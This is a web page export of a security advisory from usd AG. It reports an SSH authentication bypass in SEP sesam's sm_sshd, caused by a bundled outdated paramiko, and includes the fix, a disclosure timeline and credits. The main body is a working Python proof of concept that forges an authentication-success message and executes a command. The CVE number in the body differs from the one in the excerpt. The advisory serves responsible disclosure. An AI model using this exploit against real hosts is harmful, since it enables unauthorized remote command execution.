\n
SEP sesam uses an outdated version of paramiko (2.2.3) in sm_sshd, which has a known authentication bypass vulnerability (CVE-2018-1000805)<\/p>\n
<\/h3>\n<\/h3>\nProof of Concept (PoC)<\/h3>\n
Install the SEP sesam client. It opens an SSH server at port 11322. Run the following python script to exploit CVE-2018-1000805.\u00a0<\/span><\/p>\n<\/div>\n<\/div>\n<\/div>\n[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]#!\/usr\/bin\/env python
\nfrom paramiko.common import cMSG_USERAUTH_SUCCESS, cMSG_USERAUTH_INFO_RESPONSE
\nimport paramiko<\/p>\n
port = 11322
\nhostname = '[IP of client machine]'
\nusername = ''
\npassword = ''<\/p>\n
client = paramiko.SSHClient()<\/p>\n
#enable warning policy to allow connections to all servers
\nclient.set_missing_host_key_policy(paramiko.WarningPolicy())<\/p>\n
#overwrite auth method to skip the auth process
\nclient._auth = lambda *args, **kwargs: None
\nclient.connect(hostname, port, username, password)<\/p>\n
#craft MSG_USERAUTH_SUCCESS message
\nm = paramiko.Message()
\nm.add_byte(cMSG_USERAUTH_SUCCESS)
\nclient._transport._send_message(m)<\/p>\n
stdin, stdout, stderr = client.exec_command('whoami')
\nprint stdout.read()<\/p>\n
client.close()<\/code><\/pre>\n
[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n
\n
\n
Fix<\/h3>\n
Update paramiko to version 2.2.4<\/span><\/p>\n<\/h3>\nTimeline<\/h3>\n\n- 2018-09-11 notify info@sep.de<\/li>\n
- 2018-10-08 notify support@sep.de<\/li>\n
- 2018-12-07 verified that sesam 4.4.3-64 uses Paramiko 2.2.4<\/li>\n
- 2018-12-07 Security advisory released<\/li>\n<\/ul>\n
<\/h3>\nCredits<\/h3>\n
This security vulnerabilities were found by Daniel Hoffmann and Konstantin Samuel of usd AG.<\/span><\/p>\n<\/div>\n<\/div>\n[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"
usd-2018-0025 | SEP sesam\/4.4.3.62 Advisory ID: usd-2018-0025CVE Number: CVE-2018-7750Affected Product: SEP sesamAffected Version: 4.4.3.62Vulnerability Type: Authentication BypassSecurity Risk: HighVendor URL: https:\/\/www.sep.de\/Vendor Status: Fixed Description SEP sesam uses an outdated version of paramiko (2.2.3) in sm_sshd, which has a known authentication bypass vulnerability (CVE-2018-1000805) Proof of Concept (PoC) Install the SEP sesam client. It opens an […]<\/p>\n","protected":false},"author":96,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-16571","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16571","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/96"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=16571"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16571\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=16571"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}